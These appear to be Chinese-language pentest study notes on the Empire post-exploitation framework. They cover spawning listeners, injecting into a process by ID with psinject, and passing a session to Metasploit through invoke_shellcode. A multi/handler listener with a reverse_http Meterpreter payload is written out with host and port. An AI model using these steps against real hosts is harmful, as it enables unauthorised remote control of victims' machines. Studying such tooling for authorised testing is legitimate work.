1. spawn的使用
spawn监听器
2.psinject 注入进程
psinject 监听器 进行ID
3.empire分配会话metasploit
code_execution/invoke_shellcode
先搜索模块shellcode
联动msf
首先用metasploit设置监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.0.125
set lport 4444
exploit -j 放在后台里面运行
show options
进行设置,填写本地ip,设置端口
这个模块 Lhost设置metasploit的ip地址 lport 设置的端口
payloady 跟metasploit 相对应。
可进行主机渗透
接下来就可以使用meterpreter命令进行渗透。